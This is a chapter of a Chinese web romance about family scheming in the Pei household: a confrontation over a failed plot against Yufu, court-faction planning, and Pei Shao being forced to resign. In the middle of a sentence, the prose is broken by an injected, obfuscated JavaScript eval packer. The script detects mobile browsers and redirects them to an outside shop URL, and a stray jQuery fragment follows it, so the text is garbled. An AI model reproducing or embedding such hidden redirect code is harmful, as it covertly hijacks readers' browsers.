25. 第 25 章

作品:《嫁给心上人的弟弟

    裴府后院,沈氏与乔月霜一脸凝重的走进府来,却看到玉芙站在不远处。


    灯火扑朔,她那张明净柔软的脸庞,此刻却满是平静的冷意。


    “二夫人,老夫人唤您过去一趟。”


    侍女早已恭候多时,见到沈氏进来,不由立刻上前道。


    “现、现在?”沈氏语气有些不稳,方才安乐公主发了好大一通火,旁人不知,只当是五皇子胡闹令皇室蒙羞,可她却知,是因为本该与五皇子厮混之人换成了不知从哪来的婢女,而容玉芙却消失了。


    苦心筹谋一场,最终却是竹篮打水,一场空。


    换作谁都会气。


    她此刻看着容玉芙那张面容,恨不得上去揭开她的伪装,平日里不声不响没有一点威胁,不成想关键时候竟倒打一耙,置她于险境。


    发生这样的事情,沈氏早知道,自己在公主面前失了脸面,也不由恼恨起乔月霜来,若不是她出的主意,自己何苦吃力不讨好眼巴巴去公主面前丢脸。


    此刻的乔月霜也是十分恼怒。


    明明自己亲手将她锁入屋内,她到底是怎样离开的呢。


    她只后悔,自己没有留下,亲眼看着她遭受凌辱,颜面尽失。


    “夜黑风高,二伯母莫湿了鞋袜。”玉芙柔和一笑,面上看不出丝毫怒气,可沈氏却不寒而栗,毕竟做了亏心事,她不可能泰然自若。


    “玉芙,你怎么先回来了,二伯母找了你许久,没想到你早就离开了。”


    “不知二伯母去何处寻的我,还有,月霜姑娘明明说好了要带着我去更衣,为何要将房门锁起来,不知道的还以为月霜姑娘是故意如此,想要筹谋什么事情呢?”


    乔月霜蓦然抬起眸来,娇美的眼眸里满是惶恐不安,她低声道:“你没醉!”


    “一杯酒而已,谈不上醉,难不成月霜姑娘再酒里加了什么?”


    月华撒下,少女用平淡的语气缓缓道出,目光虽柔却满含压迫。


    一刹那,沈氏满头冷汗,生怕她当着众人面挑明,连忙道:“你说的这是哪里话,月霜只是好意领着你去换衣裳,哪里有其他什么想法。”


    “二伯母既然这样说,玉芙姑且信下,只是有一句话,不得不说与二伯母听。”


    玉芙对沈氏的反应丝毫不意外,没有确凿证据,她岂是那种会搬起石头砸自己脚的人,即便她们都心知肚明,但揣着明白装糊涂,不正是她们这些高门里最擅长做的事情吗。


    沈氏抬起头看向眼前这个女子,却发觉好似从没有认清过她一般,本以为从小养在深闺宅院中,没见过世面,对长辈之话唯唯诺诺不敢出头。


    今日瞧来,却完全相反。


    她不仅不是好拿捏的,反而像是嫁入高门后有了倚靠无所畏惧似的,沈氏一口气有些顺不上来,试问哪家小辈敢这样公然质问长辈,如今她瞧着这容玉芙,倒是越来越碍眼了。


    “二伯母可听说过一句话,终于与虎谋皮者,最终会死在猛虎利爪之下。”玉芙微微笑起来,仿若只是漫不经心之言。


    沈氏面色一变,“什么死不死的,你这孩子,说话也太不吉利了。”


    她攥着的指尖渐渐发紧,脑海中蓦然回想起安乐公主临走前看她的那一眼,她知晓,发生了这样一桩事,她在公主那里彻底失去了信任。


    “是么。”玉芙笑起来,不置可否,“天色不早了,祖母怕是等的急了,二伯母快快去吧,莫让祖母白等。”


    沈氏这才反应过来,自己本不欲和容玉芙说这么多的话。


    她到底是长辈,竟被她牵着鼻子走。


    说出去实在是丢脸。


    沈氏拂袖冷哼一声,也不再看她,转头就往前走去,乔月霜抿了抿唇,看向容玉芙,冷笑一声,也转身离开。


    人都散尽,玉芙缓缓叹了口气。


    眉间染上一抹疲态。


    她到底是第一次与人对峙,虽然瑾郎说为给她公道,但她不想一直在他的羽翼下生活,今日之事,没有任何证据,她暂且拿二房不得,但是来日若是再有犯者,她定然不会心慈手软。


    “娘子,起风了,我们回去吧。”兰卉一脸关心。


    玉芙点了点头,轻轻咳嗽了几声。


    回到揽月阁中,裴宿洲刚好处理完公务回来,一进屋,他便看见妻子正低头服着一碗漆黑浓稠的汤药,他伸手拉起她的手,担忧道:“怎么这么凉,可出气了?”


    不知为何,玉芙鼻尖忽有些酸涩。


    昏暗柔和的光影下,眼前人一脸珍重与关心,她垂眸,有些控制不住,伸手环抱住了他的腰。


    裴宿洲心软的一塌糊涂。


    今夜回来,他本想着亲自敲打沈氏一番,奈何妻子却拦下了他,裴宿洲知道,阿芙是不想事事麻烦于他,但他同样清楚,妻子受辱则是丈夫无能,更何况,他自己都舍不得让她受苦,旁人又怎能凌驾于她之上。


    她既嫁给了他,他便不允许旁人欺凌她。


    不管是谁,都一样。


    夫妻俩温存一番,都已累极,玉芙沐浴完后,便躺在床榻上沉沉睡了过去。


    裴宿洲仍旧坐在桌前,他将信纸用蜡封好,忽而负手走到廊下。


    月色下,男人面容冷的平静,缓缓道:“将这封信送入临安,亲自交给太守。”


    洛安恭敬应下,又问道:“公子,柱国将军不日便会进京,公子可是要去拜访?”


    柱国将军……


    是那个被雍州城奉为天神的将领,曾经以三千精兵抵挡敌方十万军士的传奇之人。


    如今却入京了。


    只怕不是什么好事。


    裴宿洲抿了抿唇,脑海中轻轻思索。


    当今天子已经年过半百,朝中虽立太子,但太子资质平庸,五皇子更是上不得台面,其余可争皇位的,便属三皇子萧祁与七皇子萧随,三皇子生母是戚贵妃娘娘,而七皇子生母却早早身亡。


    如今朝中局势尚不明朗。


    一个手握军权的大将军却被召回京城,只怕不会是赏赐那么简单的事情。


    而裴瑾珩失踪之前,虽然未曾表明支持哪位皇子,但他却知道,三皇子府中有一条暗道,曾数次拉拢过朝中重臣。


    裴家,也在其中。


    三皇子萧祁有野心有谋略,也毫不掩藏,无论从哪个角度看,都是下一任君王最合适人选。


    只是……


    他对此不感兴趣。


    但是若是想要给裴家重创,将裴家搅进这场浑水之中,此刻无疑是最好的机会。


    等一切都结束后,他会带着她离开此地。


    届时裴家早已元气大损,也奈何不了他半分。


    裴宿洲垂下眸,忽又想起什么,接着吩咐道:“派我们的人紧紧盯着二房,特别是与夫人有关,一旦有危险,以夫人的安全为先。”


    洛安抱拳,低声应下。


    -


    明安堂。


    夜已浓重,沈氏夫妇二人坐立不安。


    裴二爷将茶盏放于桌上,与妻子面面相觑片刻,抬头望向上位,“母亲,夜深了,这时候唤儿子前来,可是有什么要紧事?”


    沈氏同样也是一脸不解,方才一路走过来,她心里就十分不安,以为是自己对容玉芙做的事情败露了,母亲来敲打她。


    但一进屋看见丈夫也在,沈氏便觉得,有些不寻常。


    自己这丈夫早就与自己离心,夫妻多年,貌合神离,家中虽然只有耀儿一个孩子,但他在外面养的外室却已不少,她曾经闹过疯过,除了令裴邵厌烦,再没其他用处。


    长此以往,沈氏早就对他不抱有任何希望了,这会子骤然见到,突然有些意外。


    “是啊母亲,这么晚了,唤儿媳前来,可是有什么要说的。”


    沈氏附和着询问,心中也有些奇怪。


    大房三房没有一个人出现,怎地单单把他们二房叫到此处,实在是不寻常。


    室内燃着炭火,老夫人的面容在香气缭绕的烟雾中渐渐模


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13304760|140260||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    糊了起来,吴嬷嬷递来一个暖手的香炉后,裴老夫人才缓缓开了口。


    “你们今日不知,我为什么叫你们前来?”


    “还请母亲明示。”


    裴邵恭敬道。


    夜色如墨,裴老夫人将目光缓缓落在这个庶子身上,当年,生他的姨娘难产早逝,是她将人抱入房中养着,这么多年,也是有情分在的,但一想到他做下的事情,她仍然觉得腹中怒火中烧,忍不住沉声道:“你自己做的糊涂事,如今还要我来替你善后吗?”


    裴邵面色一变,连忙跪下身去。


    沈氏也随着一同跪下,只是她尚且不明白因果,便听到老夫人继续道:“当今圣上最恨结党营私,你竟敢公然站在三皇子那边,你可知,若是事情稍有不慎,便是拉着我们裴氏一族陪葬,这样的后果,你承担的起吗?”


    裴邵大惊,忍不住抬头。


    这些事情,母亲怎么会知道。


    “别这样看着老身,这些年来,老身自知不曾亏待于你,大郎故去后,你更是府中的顶梁柱,可你呢,这些年来,你都做了什么!”


    “外面养着外室暂且不说,如今竟公然结党营私,你是觉得自己脑袋上的那颗头多余,还是想要拿裴家满门荣耀向天威挑战。”


    “糊涂啊!”


    沈氏面容一变,她虽为深闺妇人,不知这官场中事,也知如今老夫人盛怒于此,定是丈夫做了不可饶恕之事。


    一荣俱荣,一损俱损,即便她与裴邵早无情意,但此刻面对老太太如此怒火,她仍旧替裴邵求情,“母亲别生气,二郎定然不是有意的,一定是有人教唆。”


    “住口。”裴老夫人看向她,有些不争气的道:“这种话你也说的出来,你可知他做了何事?”


    “母亲……”裴邵哀求,眼眸渐渐闭上。


    裴老夫人深吸一口气,没有继续说下去,他将扬州瘦马私自运回京城,不仅讨好三皇子,更是私下笼络了不少大臣官员。


    这种事情若是传出去,无疑是将他们裴氏的名声踩在地上践踏。


    沈氏不明所以,不禁抬头看向老夫人。


    “罢了,明日你上书辞官,从此远离朝堂纷争,也许还能保全一命。”


    “母亲!”沈氏震惊道,辞官?


    怎么要辞官了?


    裴邵却一脸心如死灰,绝望的闭上了眼。


    裴老夫人已不欲多言,起身离开了此地,沈氏跪坐在桌下,看着裴邵一言不发的样子,突然有些添堵。


    辞官。


    也就是意味着往后与荣华富贵再无缘,她苦心筹谋半生,与萧氏斗了半生,却全败在,自己的丈夫不中用上。


    外头响起了惊雷,沈氏从地上起来,走到裴邵面前,忍不住伸手去打他,“我嫁给你二十年,自问从未亏欠你,可到头来,你竟是这样对我。”


    裴邵一脸厌烦的看向她,伸手挡开来她,“沈柔,别将自己说的那么伟大,你以为,我不知道这些年来,我的孩子都是怎么没的吗?”


    “你为了耀儿尊贵身份,谋杀了我多少还未出生的孩子,我忍你多年,你若是接着胡闹,我便一纸休书,今后各不相干。”


    裴邵说完,拂袖而去。


    他当年也是糊涂了,看错了沈柔面容,以为对方温柔得体,又是大家闺秀,才上门去提亲,不成想,成婚不过一年,对方就暴露出了真实面目。


    不仅用一碗药让他孩子丧于腹中,还让芸娘难产而死。


    桩桩件件,都没有冤枉她。


    他仁至义尽,她便得寸进尺,时至今日,他早就累了。


    辞官也就辞官吧,正好,他本就不是做官的料,当年若不是大哥提携,他早就被打压的放弃了。


    如今时过境迁,裴邵竟觉得,好像肩子上的担子一下子轻了下去,回头看去,自从当年大哥战死后,这国公府早不如昔日般繁华耀眼。


    想起大哥,裴邵脑海中突然出现一抹倩影,他叹息一声,冒着雨前往了西院方向。